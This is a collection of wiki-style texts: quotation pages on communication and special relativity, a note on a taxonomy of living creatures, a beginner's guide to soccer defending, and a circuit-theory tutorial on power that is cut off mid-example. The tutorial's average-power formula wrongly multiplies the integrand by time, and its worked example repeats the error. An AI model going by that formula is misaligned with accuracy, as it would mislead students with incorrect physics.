Italian, Swedish, Esperanto), and had inspired a stage version and even an opera. Stirring the Victorian Imagination, By Wendell Piez, Tricycle Magazine, (Winter 1993) Arnold’s great project was a blank verse poem based loosely on the Lalitavistara Sutra. It ran for forty-one thousand words and was composed in eight volumes and published in 1879 as the Light of Asia: the Great Renunciation. The Light of Asia was an instant success and would capture the English speaking imagination. It would be reprinted numerous times in England and the United States. The best estimate I could find was sixty editions in England and another eighty in the US. The Light has also been translated into many languages, including Hindi. But, most importantly, it is generally credited as the first book to bring the life and teachings of Gautama Siddhartha broadly to the attention of the English speaking public. Sir Edwin Arnold and His Light on Buddhism, by James Ford, Patheos (10 June 2017) Ageless Wisdom teachings Buddhism Gautama Buddha Gayatri mantra Four Noble Truths Wikipedia has an article about: The Light of Asia
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Communication (from Latin "communis", meaning to share) is the activity of conveying information through the exchange of thoughts, messages, or information, as by speech, visuals, signals, writing, or behavior. Arranged alphabetically by author or source: A · B · C · D · E · F · G · H · I · J · K · L · M · N · O · P · Q · R · S · T · U · V · W · X · Y · Z · Hoyt's New Cyclopedia Of Practical Quotations · See also · External links The concept of communication includes all of those processes by which people influence one another. ... This definition is based on the premise that all actions and events have communicative aspects, as soon as they are perceived by a human being; it implies, furthermore, that such perception changes the information which an individual processes and therefor influences him. Gregory Bateson (1951) Communication: The Social Matrix of Psychiatry Human verbal communication can operate and always does operate at many contrasting levels of abstraction. Gregory Bateson (1955) "A theory of play and fantasy". in: Psychiatric research reports, 1955. pp. 177-178 Evil communication corrupts good manners. I hope to live to hear that good communication corrects bad manners. Benjamin Banneker As quoted in Friends' Intelligencer Vol. XI (1854), p. 821 The general rule of law is, that the noblest of human productions — knowledge, truths ascertained, conceptions and ideas — become, after voluntary communication to others, free as the air to common use. Louis Brandeis, (1918) International News Service v. Associated Press. A United States Supreme Court decision Die Gesellschaft hat kein gemeinsames Sprachrohr, solange sie in kämpfende Klassen gespalten ist. Society cannot share a common communication system so long as it is split into warring classes. Bertolt Brecht, A Short Organum for the Theatre (1949) All the evidence suggests that communication between people by whatever means, far from simply accomplishing its purpose, simply creates the need for more. John Brooks, "Xerox Xerox Xerox Xerox", The New Yorker; March 25, 1967 No doubt, it is a very easy matter for them, in presence of an ignorant and credulous multitude, to insult over an undefended cause; but were an opportunity of mutual discussion afforded, that acrimony which they now pour out upon us in frothy torrents, with as much license as impunity, would assuredly boil dry. John Calvin, Institutes of the Christian Religion, preface The Internet is a communication medium that allows for the first time, the communication of many to many, in chosen time, on a global scale. Manuel Castells (2001) The Internet Galaxy - Reflections on the Internet, Business, and Society Opening, The Network is the Message, p. 2 The dictionary definition of communication [...] includes the communication of goods and supplies. [...] But transport of goods is not communication in the sense we are adopting here, and does not raise the same subtle and difficult questions. What "goods" do we exchange when we send messages to one another? Colin Cherry (1957)On Human Communication. p. 9 The theory of communication is partly concerned with the measurement of information content of signals, as their essential property in the establishment of communication links. But the information content of signals is not to be regarded as a commodity; it is more a property or potential of the signals, and as a concept it is closely related to the idea of selection, or discrimination. This mathematical theory first arose in telegraphy and telephony, being developed for the purpose of measuring the information content of telecommunication signals. It concerned only the signals themselves as transmitted along wires, or broadcast through the aether, and is quite abstracted from all questions of "meaning." Nor does it concern the importance, the value, or truth to any particular person. As a theory, it lies at the syntactic level of sign theory and is abstracted from the semantic and pragmatic levels. We shall argue ... that, though the theory does not directly involve biological elements, it is nevertheless quite basic to the study of human communication — basic but insufficient. Colin Cherry (1957)On Human Communication. p. 10 The harm which is done by credulity in a man is not confined to the fostering of a credulous character in others, and consequent support of false beliefs. Habitual want of care about what I believe leads to habitual want of care in others about the truth of what is told to me. Men speak the truth of one another when each reveres the truth in his own mind and in the other's mind; but how shall my friend revere the truth in my mind when I myself am careless about it, when I believe things because I want to believe them, and because they are comforting and pleasant? Will he not learn to cry, "Peace," to me, when there is no peace? By such a course I shall surround myself with a thick atmosphere of falsehood and fraud, and in that I must live. It may matter little to me, in my cloud-castle of sweet illusions and darling lies; but it matters much to Man that I have made my neighbours ready to deceive. The credulous man is father to the liar and the cheat William Kingdon Clifford, The Ethics of Belief (1877) An undesirable society, in other words, is one which internally and externally sets up barriers to free intercourse and communication of experience. John Dewey (1916) Democracy and Education Early states had a hereditary leader with a title equivalent to king, like a super paramount chief and exercising an even greater monopoly of information, decision making, and power. Even in democracies today, crucial knowledge is available to only a few individuals, who control the flow of information to the rest of the government and consequently control decisions. For instance, in the Cuban Missile Crisis of 1963, information and discussions that determined whether nuclear war would engulf half a billion people were initially confined by President Kennedy to a ten-member executive committee of the National Security Council that he himself appointed; then he limited final decisions to a four-member group consisting of himself and three of his cabinet ministers. Jared Diamond (7 March 2017). Guns, Germs, and Steel: The Fates of Human Societies. W. W. Norton & Company. p. 244. ISBN 978-0-393-60929-5. Speech is one symptom of Affection And Silence one— The perfectest communication Is heard of none— Emily Dickinson, "Speech Is One Symptom of Affection". Poems, ed. T. H. Franklin (1955), no. 1694; Poems, ed. R. W. Johnson (1998), no. 1681 The power of communication of thoughts and opinions is the gift of God, and the freedom of it is the source of all science, the first fruits and the ultimate happiness of society; and therefore it seems to follow, that human laws ought not to interpose, nay, cannot interpose, to prevent the communication of sentiments and opinions in voluntary assemblies of men. Eyre, L.C.J., Hardy's Case (1794), 24 How. St. Tr. 206; reported in James William Norton-Kyshe, The Dictionary of Legal Quotations (1904), p. 99. They communicate, but their communication system is though touch, posture, looks – body language you could call it, but it goes a bit deeper than that. They can learn 400 or more signs in American sign language. Jane Goodall Wanderlust #6 (2009) [1] The full impact of printing did not become possible until the adoption of the Bill of Rights in the United States with its guarantee of freedom of the press. A guarantee of freedom of the press in print was intended to further sanctify the printed word and to provide a rigid bulwark for the shelter of vested interests. Harold Innis, "Industrialism and Cultural Values", in The Bias of Communication (1951), p. 138. The priceless heritage of our society is the unrestricted constitutional right of each member to think as he will. Thought control is a copyright of totalitarianism, and we have no claim to it. It is not the function of the government to keep the citizen from falling into error; it is the function of the citizen to keep the government from falling into error. We could justify any censorship only when the censors are better shielded against error than the censored. Robert H. Jackson, American Communications Association v. Douds, 339 U.S. 382, 442-43 (1950). When language is used without true significance, it loses its purpose as a means of communication and becomes an end in itself. Karl Jaspers (1933) Man in the Modern Age, p. 128 Since balloons could not be flown back into Paris due to their erratic and uncontrollable flight patterns, the only means of getting information... was the carrier pigeon. Pigeons had been used to convey messages since antiquity, and a pigeon post... operated as late as 1850 by Paul Julius Reuter... proved... swifter than the railway in carrying stock prices between Brussels and Aachen. The carrier pigeons used in the Siege of Paris were able to carry much more information thanks to... microphotography invented by René Dagron. In 1859 Dragon had received a patent for microfilm, and over the next decade he produced... photographs shrunk to fit inside jewels, signet rings [etc.]... He also developed... a profitable sideline in pornography... enjoyed with the aid of a special magnifying viewer. During the siege, Dagron turned.. to more patriotic endeavors. ...photographing government dispatches, shrinking them.., printing them on lightweight collodion membranes.., and fitting as many as 40,000... into a canister strapped to the legs of a single carrier pigeon. The pigeons... encountering on their return to Paris... falcons specially trained by the Prussians. ...[T]he pigeons also carried personal communications. Ross King, The Judgment of Paris: The Revolutionary Decade That Gave the World Impressionism (2006) pp. 286-287. Dreaming is not merely an act of communication; it is also an aesthetic activity, a game of the imagination, a game that is a value in itself. Milan Kundera, in The Unbearable Lightness of Being (1984). as translated by Michael Henry Heim; Part Two: Soul and Body, p. 59 Good communication is stimulating as black coffee, and just as hard to sleep after. Anne Morrow Lindbergh, Gift from the Sea (1955), Ch. VI "Argonauta" Societies have always been shaped more by the nature of the media by which humans communicate than by the content of the communication. (p. 23) Marshall McLuhan (1970) From Cliché to Archetype All media of communications are cliches serving to enlarge man's scope of action, his patterns of associations and awareness. These media create environments that numb our powers of attention by sheer pervasiveness. Marshall McLuhan (2011) The Book of Probes : Marshall McLuhan. p. 23 Without an understanding of causality there can be no theory of communication. What passes as information theory today is not communication at all, but merely transportation. Marshall McLuhan (2011) The Book of Probes : Marshall McLuhan. p. 362 In my experience, communication is a matter of patience, imagination. I would like to believe these are qualities we have in sufficient measure. Jean-Luc Picard, Star Trek: The Next Generation episode "Darmok" (30 September 1991) by Joe Menosky and Phillip LaZebnik. See also: Beginning of Youtube Video "Beginning Scene From the Episode Darmok" (04.10.2021) by user "April 5, 2063". The more we elaborate our means of communication, the less we communicate. J. B. Priestley, Thoughts in the Wilderness (London: William Heinemann, 1957), p. 201 Most people don't know how to listen because the major part of their attention is taken up by thinking. They pay more attention to that than to what the other person is saying, and none at all to what really matters: the Being of the other person underneath the words and the mind. Of course, you cannot feel someone else's Being except through your own. This is the beginning of the realization of oneness, which is love. At the deepest level of Being, you are one with all that is. Most human relationships consist mainly of minds interacting with each other, not of human beings communicating, being in communion. No relationship can thrive in that way, and that is why there is so much conflict in relationships. Eckhart Tolle in A New Earth: Awakening to Your Life's Purpose, p. 81 (2005) Evolution teaches us the original purpose of language was to ritualize men's threats and curses, his spells to compel the gods; communication came later. Gene Wolfe, "The Death of Doctor Island", Universe 3 (1973), ed. Terry Carr; reprinted in The Best of Gene Wolfe (2009). The Master Great Cultural Figure cannot be communicated with, at all. David Woodard, Breed the Unmentioned (1985) Wikipedia has an article about: Communication Look up communication in Wiktionary, the free dictionary
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Special relativity (SR, also known as the special theory of relativity or STR) is the generally accepted and experimentally well-confirmed physics theory regarding the relationship between space and time. In Albert Einstein's original pedagogical treatment, it is based on two postulates: The laws of physics are invariant (i.e. identical) in all inertial systems (non-accelerating frames of reference). The speed of light in a vacuum is the same for all observers, regardless of the motion of the light source. It is regrettable that Voigt's original ideas were unnoticed and, hence, did not play a role in the vigorous development of special relativity, somewhat similar to Poincare's work in 1905. Lorentz, Poincare, Einstein and others did not refer to Voigt's paper in their works. It appears that young Pauli was an early physicist to mention Voigt's transformation in his book 'Theory of Relativity', published in 1921, but no further comment was made. Chinese Journal of Physics (2001) Vol. 39, p. 212. The great merit of Minkowski was to show that an absolute world could nevertheless be imagined, although it was a far different world from that of classical physics. In Minkowski's world the absolute which supersedes the absolute length and duration of classical physics is the Einsteinian interval. ... Thus suppose that, as measured in our Galilean frame of reference, two flashes occur at points A and B, situated at a distance l apart, and suppose the flashes are separated in time by an interval t. If we change our frame of reference, both l and t will change in value, becoming l' and t' respectively, exhibiting by their changes the relativity of length and duration. In Minkowski's words, "Henceforth space and time themselves are mere shadows." On the other hand, the mathematical construct l 2 − c 2 t 2 {\displaystyle l^{2}-c^{2}t^{2}} will remain invariant, and so we shall have l 2 − c 2 t 2 = l ′ 2 − c 2 t ′ 2 . {\displaystyle l^{2}-c^{2}t^{2}=l'^{2}-c^{2}t'^{2}.} It is this invariant expression, which involves both length and duration, or both space and time, which constitutes the Einsteinian interval; and the objective world which it cannotes is the world of four-dimensional space-time. The Einsteinian interval... remains the same for all observers, just as distance alone or duration alone were mistakenly believed to remain the same for all observers in classical physics. ...the Einsteinian interval still remains an invariant as measured for all frames of reference, whether accelerated or not. A. 210-211 A four dimensional continuum described by the co ordinates x1, x2, x3, x4, was called "world" by Minkowski, who also termed a point-event a "world point." From a "happening" in three-dimensional space, physics becomes, as it were, an "existence" in the four-dimensional world. This four dimensional "world" bears a close similarity to the three-dimensional "space" of Euclidean analytical geometry. ...We can regard Minkowski's "world" in a formal manner as a four-dimensional Euclidean space (with imaginary time co-ordinate); the Lorentz transformation corresponds to a "rotation" of the co-ordinate system in the four-dimensional world. Albert Einstein, Relativity: The Special and General Theory (1920) The discovery of Minkowski... is to be found... in the fact of his recognition that the four-dimensional space-time continuum of the theory of relativity, in its most essential formal properties, shows a pronounced relationship to the three-dimensional continuum of Euclidean geometrical space. In order to give due prominence to this relationship, however, we must replace the usual time co-ordinate t by an imaginary magnitude, − 1 ⋅ c t {\displaystyle {\sqrt {-}}1\cdot ct} , proportional to it. Under these conditions, the natural laws satisfying the demands of the (special) theory of relativity assume mathematical forms, in which the time co-ordinate plays exactly the same role as the three space-coordinates. Formally, these four co-ordinates correspond exactly to the three space co-ordinates in Euclidean geometry. ...These inadequate remarks can give the reader only a vague notion of the important idea contributed by Minkowski. Without it the general theory of relativity... would perhaps have got no farther than its long clothes. Albert Einstein, Relativity: The Special and General Theory (1920) For over 200 years the equations of motion enunciated by Newton were believed to describe nature correctly, and the first time that an error in these laws was discovered, the way to correct it was also discovered. Both the error and its correction were discovered by Einstein in 1905. Newton’s Second Law, which we have expressed by the equation F = d ( m v ) d t {\displaystyle F={\frac {d\left({mv}\right)}{dt}}} was stated with the tacit assumption that m is a constant, but we now know that this is not true, and that the mass of a body increases with velocity. In Einstein’s corrected formula m has the value m = m 0 1 − v 2 / c 2 {\displaystyle m={\frac {{m}_{0}}{\sqrt {1-v^{2}/c^{2}}}}} where the “rest mass” m0 represents the mass of a body that is not moving and c is the speed of light, which is about 3×105 km⋅sec−1 or about 186,000 mi⋅sec−1. Richard Feynman, The Feynman Lectures on Physics, Vol. I, Ch. 15. The Special Theory of Relativity The impressions received by the two observers A0 and A would be alike in all respects. It would be impossible to decide which of them moves or stands still with respect to the ether, and there would be no reason for preferring the times and lengths measured by the one to those determined by the other, nor for saying that either of them is in possession of the "true" times or the "true" lengths. This is a point which Einstein has laid particular stress on, in a theory in which he starts from what he calls the principle of relativity, i.e., the principle that the equations by means of which physical phenomena may be described are not altered in form when we change the axes of coordinates for others having a uniform motion of translation relatively to the original system. I cannot speak here of the many highly interesting applications which Einstein has made of this principle. His results concerning electromagnetic and optical phenomena ...agree in the main with those which we have obtained... the chief difference being that Einstein simply postulates what we have deduced, with some difficulty and not altogether satisfactorily, from the fundamental equations of the electromagnetic field. By doing so, he may certainly take credit for making us see in the negative result of experiments like those of Michelson, Rayleigh and Brace, not a fortuitous compensation of opposing effects, but the manifestation of a general and fundamental principle. Yet, I think, something may also be claimed in favour of the form in which I have presented the theory. I cannot but regard the ether, which can be the seat of an electromagnetic field with its energy and vibrations, as endowed with a certain degree of substantiality, however different it may be from all ordinary matter. ...it seems natural not to assume at starting that it can never make any difference whether a body moves through the ether or not, and to measure distances and lengths of time by means of rods and clocks having a fixed position relatively to the ether. It would be unjust not to add that, besides the fascinating boldness of its starting point, Einstein's theory has another marked advantage over mine. Whereas I have not been able to obtain for the equations referred to moving axes exactly the same form as for those which apply to a stationary system, Einstein has accomplished this by means of a system of new variables slightly different from those which I have introduced. Hendrik Lorentz, The Theory of Electrons and Its Applications to the Phenomena of Light and Radiant Heat (1916) Ch. V Optical Phenomena in Moving Bodies. Between 1968 and 2005 I’ve learned a lot about explaining special relativity. One pedagogical discovery has been especially valuable. Anybody wishing to understand the subject must be able to visualize how certain events taking place, say, in a railroad station, are described from the point of view of a passenger passing through that station on a uniformly moving train and, conversely, how events taking place on such a train appear to a person standing in the station. Without the ability to translate from one such description to another, one cannot begin to understand relativity. But all introductions to relativity that I know of, including my own 1968 book, take the ability to do this for granted. They immediately require the reader to apply this unused, undeveloped, often nonexistent skill to some highly counterintuitive phenomena. In explaining relativity this process often leads to descriptions from two different perspectives, which appear, at first glance, to contradict each other. Faced with an apparent paradox, people who have never before thought about transforming station descriptions to train descriptions and vice versa quite reasonably assume that they must have done something wrong in the transcription. Rather than seeking an understanding of why the contradiction is only apparent, they lose confidence in the analytical technique that gave rise to it. In this respect the pedagogy of the standard approach to relativity is terrible. One introduces a crucial and unfamiliar conceptual technique— changing descriptions from one “frame of reference” to another—by immediately applying it to some unusual and highly counterintuitive cases. The most important thing I learned in teaching relativity to many generations of Cornell undergraduates, none of them science majors, is that one must begin teaching them the technique of changing frames of reference by applying that technique to some entirely commonplace, highly intuitive examples. There are many such ways to develop these skills, and they enable one to learn much that is not at all obvious, though never paradoxical. N. David Mermin, It’s About Time : Understanding Einstein’s Relativity (2005) Another thing I have learned since 1968 is that one should emphasize as early as possible that although objects moving at the speed of light famously behave in some very strange ways, the behavior of objects moving at speeds comparable to the speed of light can be just as peculiar. The peculiarity of motion at the speed of light is just a special case of a more general peculiarity of all motion, which becomes prominent only at extremely high speeds. That more general peculiarity can be expressed by an elementary but precise rule that it is possible and useful to formulate at a very early stage of the subject. N. David Mermin, It’s About Time : Understanding Einstein’s Relativity (2005) I. Redefine the foot. II. View nonrelativistic collisions from different frames. III. Immediately introduce relativistic velocity addition law. IV. Immediately introduce relativity of simultaneity. V. Give numerical illustrations. VI. Minkowski diagrams, direct from Einstein’s postulates. VII. Don’t bother with the spacetime Lorentz transformation. N. David Mermin, "Seven Principles for Teaching Relativity to Nonscientists" (2005) The views of space and time which I wish to lay before you have sprung from the soil of experimental physics, and therein lies their strength. They are radical. Henceforth, space by itself, and time by itself, are doomed to fade away into mere shadows, and only a kind of union of the two will preserve an independent reality. Hermann Minkowski, Address to the 80th Assembly of German Natural Scientists and Physicians, (Sep 21, 1908) The whole world appears resolved into such world-lines. And I should like to say beforehand that, according to my opinion, it would be possible for the physical laws to find their fullest expression as correlations of these world-lines. Hermann Minkowski, Space and Time (1909), Tr. Ganesh Prasad in: Bulletin of the Calcutta The word postulate of relativity... appears to me very stale... I should rather like to give this statement the name Postulate of the absolute world (or briefly, world-postulate). Hermann Minkowski, Space and Time (1909), Tr. Ganesh Prasad in: Bulletin of the Calcutta In a Newtonian view, space and time are separate and different. Symmetries of the laws of physics are combinations of rigid motions of space and an independent shift in time. But... these transformations do not leave Maxwell's equations invariant. Pondering this, the mathematicians Henri Poincaré and Hermann Minkowski were led to a new view of the symmetries of space and time, on a purely mathematical level. If they had described these symmetries in physical terms, they would have beaten Einstein to relativity, but they avoided physical speculations. They did understand that symmetries in the laws of electromagnetism do not affect space and time independently but mix them up. The mathematical scheme describing these intertwined changes is known as the Lorentz group, after the physicist, Hendrik Lorentz. Ian Stewart, Why Beauty Is Truth: The History of Symmetry (2008) Poincaré came very close to inventing special relativity in the years 1900-1904, showing in particular that Lorentz transformations form a group; hence in the case of the Poincaré group, the name is accurate. Miles Reid; Balazs Szendroi (10 November 2005). Geometry and Topology. p. 174. ISBN 978-0-521-84889-3. by Martin Gardner The strangest explanation [for the Michelson–Morley experiment] was put forth by an Irish physicist, George Francis Fitzgerald. Perhaps, he said, the ether wind puts pressure on a moving object, causing it to shrink a bit in the direction of motion. To determine the length of a moving object, its length at rest must be multiplied by the following simple formula, in which v 2 {\displaystyle \scriptstyle v^{2}} is the velocity of the object multiplied by itself, c 2 {\displaystyle \scriptstyle c^{2}} is the velocity of light multiplied by itself: 1 − v 2 c 2 {\displaystyle \scriptstyle {\sqrt {1-{\frac {v^{2}}{c^{2}}}}}} . The speed of light in an unobtainable limit; when this is reached the formula becomes 1 − c 2 c 2 {\displaystyle \scriptstyle {\sqrt {1-{\frac {c^{2}}{c^{2}}}}}} which reduces to 0. ...In other words, if an object could obtain the speed of light, it would have no length at all in the direction of its motion! FitzGerald's theory was put into elegant mathematical form by the Dutch physicist Hendrick Antoon Lorentz, who had independently thought of the same explanation. ...The theory came to be known as the Lorentz-FitzGerald contraction theory. Lorentz made an important addition to his original theory. He introduced changes in time. Clocks, he said, would be slowed down by the ether wind, and in just such a way as to make the velocity of light always measure 299,800 meters per second. Einstein, following the steps of Ernst Mach... said... There is no ether wind. He did not say that there was no ether; only... [that the ether] is of no value in measuring uniform motion. The special theory of relativity carries the classical relativity of Newton forward another step. It says that in addition to being unable to detect the train's motion by a mechanical experiment, it is also impossible to detect its motion by an optical experiment. It is not possible to measure uniform motion in any absolute way. In the special theory of relativity, the speed of light becomes... a new absolute. ...Regardless of the motion of its source, light always moves through space with the same constant speed. There is no absolute time throughout the universe by which absolute simultaneity can be measured. Absolute simultaneity of distant events is a meaningless concept. If an astronaut traveled as fast as light his clock would stop completely. If two spaceships are in relative motion, an observer on each ship will measure the other ship as contracted slightly in the direction of its motion. ...The theory does not say that each ship is shorter than the other; it says that astronauts on each ship measure the other ship as shorter. Two ships are passing each other with uniform speed close to that of light. As they pass, a beam of light on the other ship is sent from the ceiling to the floor. There it strikes a mirror and is reflected back to the ceiling again. You will see the path of this light as a V [shape]. If you had sufficiently accurate instruments (of course no such instrument exists), you could clock the time it takes this light beam to traverse the V-shaped path. By dividing the length of the path by the time, you obtain the speed of light. ...an astronaut inside the other ship is doing the same thing [measuring his light beam's speed]. From his point of view... the light simply goes down and up along the same line, obviously a shorter distance than along the V that you observed. ...he also obtains the speed of light. ...But his light path is shorter. ...There is only one possible explanation: his clock is slower. Of course, the situation is perfectly symmetrical. If you send a beam down and up inside your ship, he will see its path as V-shaped. He will deduce that your clock is slower. All three variables—length, time, mass—are covered by the same Lorentz contraction [ 1 − v 2 c 2 {\displaystyle \scriptstyle {\sqrt {1-{\frac {v^{2}}{c^{2}}}}}} ]... Length and the rate of clocks vary in the same direct proportion, so the formula is the same for each. Mass... varies in the inverse proportion... 1 1 − v 2 c 2 {\displaystyle \scriptstyle {\frac {1}{\sqrt {1-{\frac {v^{2}}{c^{2}}}}}}} . The speed of light can never be reached. If it were reached, the outside observer would find that the ship had shrunk to zero length, had acquired an infinite mass, and was exerting an infinite force with its rocket motors. Astronauts inside the ship would observe no changes in themselves, but they would find the cosmos hurtling backward with the speed of light, cosmic time at a standstill, every star flattened to a disk and infinitely massive. : From Newton to Einstein to Today's Exciting Theories, by Peter G. Bergmann. All [of Newton's] fundamental laws of mechanics involved statements concerning accelerations, changes in the velocities... rather than the velocities themselves. These accelerations were tied to the distances between the bodies... [F]or collecting data relevant to an experimental confirmation of Newton's laws... one may consider equivalent all observers who, relative to one another, are engaged in straight-line and unaccelerated motion. ...Such an observer will be called an inertial observer; relative to him, the motion of a forcefree body will be unaccelerated. If an inertial observer is considered the hub of a scaffolding... one calls the whole framework an inertial frame of reference, or for short, an inertial frame. ...The equal validity of all inertial frames... and the non-existence of one frame representing absolute rest, is known as the principle of relativity. [It] remained unquestioned for about two hundred years. ...[T]here was no such thing as absolute rest, or absolute motion, for that matter, but only absolute acceleration... governed by the forces resulting from the proximity of other bodies. Based on Faraday's earlier work, Maxwell stressed the notion of fields, in contrast to Newton's emphasis on the direct action of bodies on each other across empty space (action at a distance). Faraday and Maxwell regarded the effect of an electrically charged body as giving rise to stresses in its immediate surroundings... [and] in ever widening circles, gradually diminishing... These stresses... [i.e.,] the fields are intermediaries between the material particles and assume the burden of Newton's action at a distance. ...[O]ne set of Maxwell's equations is to the effect that, in the presence of a magnetic field which changes in the course of time, an electric field arises which is not caused by the presence of any electric charge. This [is] the law of electromagnetic induction... From his theory, Maxwell... predicted that magnetic fields propogate at... the speed of light. ...The laws of mechanics involve only accelerations, not velocities: the laws of electromagnetism involve a universal velocity [c]... If there is such a thing as a universal speed... Newtonian physics... must be reviewed. As long as the laws of physics were concerned only with accelerations... no conceivable experiment... would lead to the selection of one particular frame of reference as fundamental. But if in empty space light propogates at the universal speed... then a careful determination of the apparent speed of light relative to laboratory apparatus should reveal the [absolute] velocity of that apparatus.... There should exist one frame of reference with respect to which light does travel everywhere at the speed c. Call this... the frame of absolute rest. ...[W]ith respect to any other frame...the apparent speed of light should be less than c in the direction in which the frame is traveling relative to the frame of absolute rest; it should be greater than c in the opposite direction. Albert Einstein General relativity Hendrik Lorentz Luminiferous aether James Clerk Maxwell Michelson–Morley experiment Hermann Minkowski Non-Euclidean geometry Relativity Simply Explained by Martin Gardner Space Spacetime Speed of light Theory of relativity Time Wikipedia has an article about: Special relativity @GoogleBooks (public domain) James Malcolm Bird, Einstein's Theories of Relativity and Gravitation (1921) Robert Daniel Carmichael, The Theory of Relativity (1920) Herbert Wildon Carr, The General Principle of Relativity in Its Philosophical and Historical Aspect (1920) John Patrick Dalton, The Rudiments of Relativity (1921) Erwin Finlay-Freundlich, Henry Leopold Brose, The Foundation of Einstein's Theory of Gravitation (1922) Richard Haldane, 1st Viscount Haldane, The Einstein Theory of Relativity: A Concise Statement (1920) Benjamin Harrow, From Newton to Einstein: Changing Conceptions of the Universe (1920) William Franklyn Hudgings, Introduction to Einstein and Universal Relativity (1922) Hendrik Antoon Lorentz, The Einstein Theory of Relativity: A Concise Statement (1920) Charles Nordmann, Einstein and the Universe: a Popular Exposition of the Famous Theory (1922) Louis Auguste Paul Rougier, Philosophy and the New Physics: An Essay on the Relativity Theory and the Theory of Quanta (1921) Moritz Schlick, Space and Time in Contemporary Physics: An Introduction to the Theory of Relativity and Gravitation (1920) Harry Schmidt, Relativity and the Universe: A Popular Introduction Into Einstein's Theory of Space and Time (1922) Edwin Emery Slosson, Easy Lessons in Einstein: A Discussion of the More Intelligible Features of the Theory of Relativity (1920) @YouTube Lecture Collection | Special Relativity, Leonard Susskind, Stanford University playlist. Physics - Special Theory of Relativity playlist beginning with Mod-01 Lec-24 Current Density... Prof. Shiva Prasad, nptelhrd, National Programme on Techhology Enhanced Learning, India.
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The name tree forests for living creatures are given below, with various groves for different levels of different creatures. These are in the very early stage of development, so only part of one area is available. This name tree forest provides links to information about living creatures provided by Wikipedia. Note that {{../xRd}} is used to give an ex prefix to signal extinction, i.e., for once-living creatures. There has been a lot of complex debate over just what a living creature or being is, as can be seen by looking here. However, in everyday life the main categories of interest are animals and plants. The Wikipedia portal for animals is here, that for plants is here. The generic groves cover living things sporadically. They are sequenced alphabetically by their item name, and come in eight different groves, as shown in the following grove link list which gives the initial letters in each grove. A B C D E F G H I J K L M N O P Q R S T U V W X Y Z The main Wikipedia page is here. The following gives other general Wikipedia links followed by the corresponding name forest links. Vertebrates, name forest here: amphibians birds fish mammals reptiles The main Wikipedia page is here. The following gives other general Wikipedia links followed by the corresponding name forest links. Embryophytes, name forest here: Vascular plants cycads gingko gnetophyta The templates entabled here were put together in the early stages of the work on this name tree forest. They may well be useful in other similar forests. Some were copied from here.
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A defender, in soccer/football, is a player who is an outfield player who tries to prevent from the opposing player from attacking (Simply, getting passed them to the goal). Defenders are somewhat like "mini goalies". But they don't use their hands and they are outfield players. "Tackling" does not refer to punching and kicking and violence; if used so, they would be given a red card and be sent off the pitch. Instead, tackling refers to diving with the ball, to get the ball. Have confidence of getting the ball. The picture on the right is a perfect example of what a Defender must do if the player gets "annoying". Tackling, in soccer/football, refers to diving, sliding down to the ball and snatch the ball with your feet. And then pass it to a player which is up closer to the goal. Tackling - As mentioned above, tackling is the best way for Defenders to prevent the ball getting passed them. When having the ball, take care to go fast and keep the ball away from the other opposite team's player. Dribbling - When passing through the opposing team to pass the ball to a forward. Make sure you are fast on your feet and all eyes on the ball too. Make sure you move swiftly with the ball, tapping it while dribbling. Then, pass it on to another defender who is up on the field, or usually, a forward.
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All sources can be alternating current (AC) or direct current (DC). Many power sources or supplies such as batteries or wall outlets are voltage sources. This means they vary the current to keep the voltage constant. AAA and AA batteries ideally put out 1.5 volts at all times. Most of the time they are open (not connected to anything). Eventually they are connected to a circuit that draws current from them. An ideal AAA or AA battery could deliver infinite amount of current. A real world battery tries to deliver infinite current if shorted, but usually heats up, catches on fire or explodes. Most consumers have never had an first hand experience with a current source. Neither will most students in the first semester of Circuit Theory course's lab section. Current sources are the opposite of voltage sources: they keep the current constant by varying the voltage. This makes them very dangerous. Current sources would require a wire shorting them at all times. If the shorting wire were removed, the ideal currents source would create the biggest, scariest lightening bolt instantaneously. Current sources are important conceptually in order to understand ideal transistors and op amps. This is why they are part of circuit theory from the very beginning. Working with current sources inside op amps and transistors has few safety risks. There is no relationship between the current voltage through a power supply. A 5 volt DC power supply will vary it's current based upon the circuit attached. A 5 Amp DC power supply will vary it's voltage based upon the circuit attached. A power supply is a dependent device ... dependent upon the independent resistors, capacitors, inductors that are arranged in a circuit and attached to it. At any given instant, the power flowing through a two terminal device is: p ( t ) = v ( t ) i ( t ) {\displaystyle p(t)=v(t)i(t)} The average power being consumed during time t is: p a v g ( t ) = 1 / t ∗ ∫ 0 t τ ∗ p ( τ ) d τ {\displaystyle p_{avg}(t)=1/t*\int \limits _{0}^{t}{\tau }*p({\tau })\,d{\tau }} If p(t) is Sinusoidal, then the upper limit is one time period. Remember that the period of s i n ( w t + θ ) {\displaystyle sin(wt+{\theta })} is 2 π / w {\displaystyle 2{\pi }/w} The energy consumed or work done during time t is similar: w ( t ) = ∫ 0 t p ( τ ) d τ {\displaystyle w(t)=\int \limits _{0}^{t}p({\tau })\,d{\tau }} All other power concepts derive from the above. For example: If the voltage and current are constant (DC), then p ( t ) = p a v g ( t ) = i v = i 2 R = v 2 / R {\displaystyle p(t)=p_{avg}(t)=iv=i^{2}R=v^{2}/R} If the voltage and current are Sinusoidal (AC) and enough time has passed that the circuit is steady state, then math can be simplified, but first have to learn phasors. However there are peak power, average power and power factor concepts that need to be understood to develop an intuition about circuits and understand the fictitious "flux capacitor". If the voltage and current are in any pattern and are steady state, then the above math can be simplified. There are many different types of power supplies that each have different safety concerns. LiPo batteries can explode/catch on fire if over charged. Here is a video of someone exploring 244 dead 9 volt batteries creating a 2000 volt power supply. If shorted, voltage supplies can do the same. If opened, current sources (very rare) can do the same. In most labs, the power supplies are protected by a fuse like a home is. Shorts cause a circuit breaker to trip, fuse to burn out, relay to cut off the circuit, etc. But batteries are typically not protected. Most power supplies just stop working. Find the average power consumed by a 20 ohm resistor when a current i ( t ) = 4 3 s i n ( 3 t ) {\displaystyle i(t)={\frac {4}{3}}sin(3t)} is applied. Solution: Assume the initial average power is 0. Actually this makes no rational sense. But every time an integral is computed, consider the possibility. v ( t ) = i ( t ) ∗ r {\displaystyle v(t)=i(t)*r} ...... from resistor terminal relation p ( t ) = i ( t ) ∗ v ( t ) = i ( t ) ∗ i ( t ) ∗ r = i ( t ) 2 ∗ r {\displaystyle p(t)=i(t)*v(t)=i(t)*i(t)*r=i(t)^{2}*r} ..... from definition of power p a v g = 1 t ∫ 0 t τ ∗ i ( τ ) 2 ∗ r d τ {\displaystyle p_{avg}={\frac {1}{t}}\int \limits _{0}^{t}{\tau }*i({\tau })^{2}*r\,d{\tau }} ...... average power definition t = 2 π 3 {\displaystyle t={\frac {2\pi }{3}}} .... definition of period p a 